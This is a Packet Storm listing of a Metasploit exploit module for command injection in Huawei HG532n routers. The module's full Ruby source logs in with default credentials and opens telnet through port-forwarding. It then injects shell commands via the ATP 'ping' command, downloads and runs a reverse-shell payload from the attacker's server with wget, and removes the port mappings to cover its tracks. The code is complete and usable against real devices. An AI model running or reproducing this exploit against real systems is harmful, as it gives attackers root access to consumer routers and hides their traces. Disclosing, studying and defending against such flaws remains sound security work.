Huawei HG532n Command Injection

2017-04-17T00:00:00
ID PACKETSTORM:142174
Type packetstorm
Reporter Ahmed S. Darwish
Modified 2017-04-17T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'base64'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Huawei HG532n Command Injection',  
'Description' => %q(  
This module exploits a command injection vulnerability in the Huawei  
HG532n routers provided by TE-Data Egypt, leading to a root shell.  
  
The router's web interface has two kinds of logins, a "limited" user:user  
login given to all customers and an admin mode. The limited mode is used  
here to expose the router's telnet port to the outside world through NAT  
port-forwarding.  
  
With telnet now remotely accessible, the router's limited "ATP command  
line tool" (served over telnet) can be upgraded to a root shell through  
an injection into the ATP's hidden "ping" command.  
),  
'Author' =>  
[  
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux'],  
'Arch' => ARCH_MIPSBE,  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'  
},  
'Targets' =>  
[  
[  
'Linux mipsbe Payload',  
{  
'Arch' => ARCH_MIPSBE,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 15 2017'  
))  
register_options(  
[  
OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),  
OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),  
OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),  
OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),  
OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),  
OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),  
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])  
], self.class  
)  
end  
  
def check  
httpd_fingerprint = %r{  
\A  
HTTP\/1\.1\s200\sOK\r\n  
CACHE-CONTROL:\sno-cache\r\n  
Date:\s.*\r\n  
Connection:\sKeep-Alive\r\n  
Content-Type:\stext\/html\r\n  
Content-Length:\s\d+\r\n  
\r\n  
<html>\n<head>\n  
<META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n  
<META\shttp-equiv="Pragma"\scontent="no-cache">\n  
<META\shttp-equiv="expires"\sCONTENT="-1">\n  
<link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>  
}x  
  
begin  
res = send_request_raw(  
'method' => 'GET',  
'uri' => '/'  
)  
rescue ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - Could not connect to device")  
return Exploit::CheckCode::Unknown  
end  
  
if res && res.code == 200 && res.to_s =~ httpd_fingerprint  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Unknown  
end  
  
#  
# The Javascript code sends all passwords in the form:  
# form.setAction('/index/login.cgi');  
# form.addParameter('Username', Username.value);  
# form.addParameter('Password', base64encode(SHA256(Password.value)));  
# Do the same base64 encoding and SHA-256 hashing here.  
#  
def hash_password(password)  
sha256 = OpenSSL::Digest::SHA256.hexdigest(password)  
Base64.encode64(sha256).gsub(/\s+/, "")  
end  
  
#  
# Without below cookies, which are also sent by the JS code, the  
# server will consider even correct HTTP requests invalid  
#  
def generate_web_cookie(admin: false, session: nil)  
if admin  
cookie = 'FirstMenu=Admin_0; '  
cookie << 'SecondMenu=Admin_0_0; '  
cookie << 'ThirdMenu=Admin_0_0_0; '  
else  
cookie = 'FirstMenu=User_2; '  
cookie << 'SecondMenu=User_2_1; '  
cookie << 'ThirdMenu=User_2_1_0; '  
end  
  
cookie << 'Language=en'  
cookie << "; #{session}" unless session.nil?  
cookie  
end  
  
#  
# Login to the router through its JS-based login page. Upon a successful  
# login, return the keep-alive HTTP session cookie  
#  
def web_login  
cookie = generate_web_cookie(admin: true)  
  
# On good passwords, the router redirect us to the /html/content.asp  
# homepage. Otherwise, it throws us back to the '/' login page. Thus  
# consider the ASP page our valid login marker  
invalid_login_marker = "var pageName = '/'"  
valid_login_marker = "var pageName = '/html/content.asp'"  
  
username = datastore['HttpUsername']  
password = datastore['HttpPassword']  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => '/index/login.cgi',  
'cookie' => cookie,  
'vars_post' => {  
'Username' => username,  
'Password' => hash_password(password)  
}  
)  
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?  
  
unless res.code == 200  
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")  
end  
  
return res.get_cookies if res.body.include? valid_login_marker  
  
if res.body.include? invalid_login_marker  
fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")  
else  
fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")  
end  
end  
  
#  
# The telnet port is filtered by default. Expose it to the outside world  
# through NAT forwarding  
#  
def expose_telnet_port(session_cookies)  
cookie = generate_web_cookie(session: session_cookies)  
  
external_telnet_port = rand(32767) + 32768  
  
portmapping_page = '/html/application/portmapping.asp'  
valid_port_export_marker = "var pageName = '#{portmapping_page}';"  
invalid_port_export_marker = /var ErrInfo = \d+/  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => '/html/application/addcfg.cgi',  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },  
'vars_get' => {  
'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',  
'RequestFile' => portmapping_page  
},  
'vars_post' => {  
'x.PortMappingProtocol' => "TCP",  
'x.PortMappingEnabled' => "1",  
'x.RemoteHost' => "",  
'x.ExternalPort' => external_telnet_port.to_s,  
'x.ExternalPortEndRange' => external_telnet_port.to_s,  
'x.InternalClient' => "192.168.1.1",  
'x.InternalPort' => "23",  
'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict  
}  
)  
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?  
  
unless res.code == 200  
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")  
end  
  
if res.body.include? valid_port_export_marker  
print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"  
return external_telnet_port  
end  
  
if res.body.match? invalid_port_export_marker  
fail_with(Failure::Unknown, "Router reported port-mapping error. " \  
"A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")  
end  
  
fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")  
end  
  
#  
# Cover our tracks; don't leave the exposed router's telnet port open  
#  
def hide_exposed_telnet_port(session_cookies)  
cookie = generate_web_cookie(session: session_cookies)  
portmapping_page = '/html/application/portmapping.asp'  
  
# Gather a list of all existing ports forwarded so we can purge them soon  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => portmapping_page,  
'cookie' => cookie  
)  
  
unless res && res.code == 200  
print_warning "Could not get current forwarded ports from web interface"  
end  
  
# Collect existing port-forwarding keys; to be passed to the delete POST request  
portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/  
vars_post = {}  
res.body.scan(portforward_key).uniq.each do |key|  
vars_post[key] = ""  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => '/html/application/del.cgi',  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },  
'vars_get' => { 'RequestFile' => portmapping_page },  
'vars_post' => vars_post  
)  
return if res && res.code == 200  
  
print_warning "Could not re-hide exposed telnet port"  
end  
  
#  
# Cleanup our state, after any successful web login. Note: router refuses  
# more than 3 concurrent logins from the same IP. It also forces a 1-minute  
# delay after 3 unsuccessful logins from _any_ IP.  
#  
def web_logout(session_cookies)  
cookie = generate_web_cookie(admin: true, session: session_cookies)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => '/index/logout.cgi',  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" }  
)  
return if res && res.code == 200  
  
print_warning "Could not logout from web interface. Future web logins may fail!"  
end  
  
#  
# Don't leave web sessions idle for too long (> 1 second). It triggers the  
# HTTP server's safety mechanisms and make it refuse further operations.  
#  
# Thus do all desired web operations in chunks: log in, do our stuff (passed  
# block), and immediately log out. The router's own javescript code handles  
# this by sending a refresh request every second.  
#  
def web_operation  
begin  
cookie = web_login  
yield cookie  
ensure  
web_logout(cookie) unless cookie.nil?  
end  
end  
  
#  
# Helper method. Used for waiting on telnet banners and prompts.  
# Always catch the ::Timeout::Error exception upon calling this.  
#  
def read_until(sock, timeout, marker)  
received = ''  
Timeout.timeout(timeout) do  
loop do  
r = (sock.get_once(-1, 1) || '')  
next if r.empty?  
  
received << r  
print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true  
return received if received.include? marker  
end  
end  
end  
  
#  
# Borrowing constants from Ruby's Net::Telnet class (ruby license)  
#  
IAC = 255.chr # "\377" # "\xff" # interpret as command  
DO = 253.chr # "\375" # "\xfd" # please, you use option  
OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission  
OPT_ECHO = 1.chr # "\001" # "\x01" # Echo  
OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead  
OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition  
  
def telnet_auth_negotiation(sock, timeout)  
begin  
read_until(sock, timeout, 'Password:')  
sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)  
rescue ::Timeout::Error  
fail_with(Failure::UnexpectedReply, "Expected first password banner not received")  
end  
  
begin  
read_until(sock, timeout, 'Password:') # Router bug  
sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)  
rescue ::Timeout::Error  
fail_with(Failure::UnexpectedReply, "Expected second password banner not received")  
end  
end  
  
def telnet_prompt_wait(error_regex = nil)  
begin  
result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)  
if error_regex  
error_regex = [error_regex] unless error_regex.is_a? Array  
error_regex.each do |regex|  
if result.match? regex  
fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")  
end  
end  
end  
rescue ::Timeout::Error  
fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")  
end  
end  
  
#  
# Basic telnet login. Due to mixins conflict, revert to using plain  
# Rex sockets (thanks @hdm!)  
#  
def telnet_login(port)  
print_status "Connecting to just-exposed telnet port #{port}"  
  
@telnet_prompt = 'HG520b>'  
@telnet_timeout = 60  
  
@telnet_sock = Rex::Socket.create_tcp(  
'PeerHost' => rhost,  
'PeerPort' => port,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self },  
'Timeout' => @telnet_timeout  
)  
if @telnet_sock.nil?  
fail_with(Failure::Unreachable, "Exposed telnet port unreachable")  
end  
add_socket(@telnet_sock)  
  
print_good "Connection succeeded. Passing telnet credentials"  
telnet_auth_negotiation(@telnet_sock, @telnet_timeout)  
  
print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"  
telnet_prompt_wait  
  
print_good 'Prompt received. Telnet access fully granted!'  
end  
  
def telnet_exit  
return if @telnet_sock.nil?  
@telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)  
end  
  
#  
# Router's limited ATP shell just reverts to classical Linux  
# shell when executing a ping:  
#  
# "ping %s > /var/res_ping"  
#  
# A successful injection would thus substitute all its spaces to  
# ${IFS}, and trails itself with ";true" so it can have its own  
# IO redirection.  
#  
def execute_command(command, error_regex = nil, background: false)  
print_status "Running command on target: #{command}"  
  
command.gsub!(/\s/, '${IFS}')  
separator = background ? '&' : ';'  
atp_cmd = "ping ?;#{command}#{separator}true"  
  
@telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)  
telnet_prompt_wait(error_regex)  
print_good "Command executed successfully"  
end  
  
#  
# Our own HTTP server, for serving the payload  
#  
def start_http_server  
@pl = generate_payload_exe  
  
downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))  
resource_uri = '/' + downfile  
  
if datastore['DOWNHOST']  
print_status "Will not start local web server, as DOWNHOST is already defined"  
else  
print_status("Starting web server; hosting #{resource_uri}")  
start_service(  
'ServerHost' => '0.0.0.0',  
'Uri' => {  
'Proc' => proc { |cli, req| on_request_uri(cli, req) },  
'Path' => resource_uri  
}  
)  
end  
  
resource_uri  
end  
  
#  
# HTTP server incoming request callback  
#  
def on_request_uri(cli, _request)  
print_good "HTTP server received request. Sending payload to victim"  
send_response(cli, @pl)  
end  
  
#  
# Unfortunately we could not use the `echo' command stager since  
# the router's busybox echo does not understand the necessary  
# "-en" options. It outputs them to the binary instead.  
#  
# We could not also use the `wget' command stager, as Huawei  
# crafted their own implementation with much different params.  
#  
def download_and_run_payload(payload_uri)  
srv_host =  
if datastore['DOWNHOST']  
datastore['DOWNHOST']  
elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"  
Rex::Socket.source_address(rhost)  
else  
datastore['SRVHOST']  
end  
  
srv_port = datastore['SRVPORT'].to_s  
output_file = "/tmp/#{rand_text_alpha_lower(8)}"  
  
# Check module documentation for the special wget syntax  
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"  
  
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.  
execute_command("chmod 700 #{output_file}", /No such file/)  
execute_command(output_file, /not found/, background: true)  
execute_command("rm #{output_file}", /No such file/)  
end  
  
#  
# At the end of the module, especially for reverse_tcp payloads, wait for  
# the payload to connect back to us. There's a very high probability we  
# will lose the payload's signal otherwise.  
#  
def wait_for_payload_session  
print_status "Waiting for the payload to connect back .."  
begin  
Timeout.timeout(datastore['ListenerTimeout']) do  
loop do  
break if session_created?  
Rex.sleep(0.25)  
end  
end  
rescue ::Timeout::Error  
fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")  
end  
print_good "Payload connected!"  
end  
  
#  
# Main exploit code: login through web interface; port-forward router's  
# telnet; access telnet and gain root shell through command injection.  
#  
def exploit  
print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"  
unless check == Exploit::CheckCode::Appears  
fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")  
end  
  
print_good "Good. Router seems to be a vulnerable HG532n device"  
  
telnet_port = nil  
web_operation do |cookie|  
telnet_port = expose_telnet_port(cookie)  
end  
  
begin  
telnet_login(telnet_port)  
payload_uri = start_http_server  
download_and_run_payload(payload_uri)  
wait_for_payload_session  
ensure  
telnet_exit  
web_operation do |cookie|  
hide_exposed_telnet_port(cookie)  
end  
end  
end  
end  
`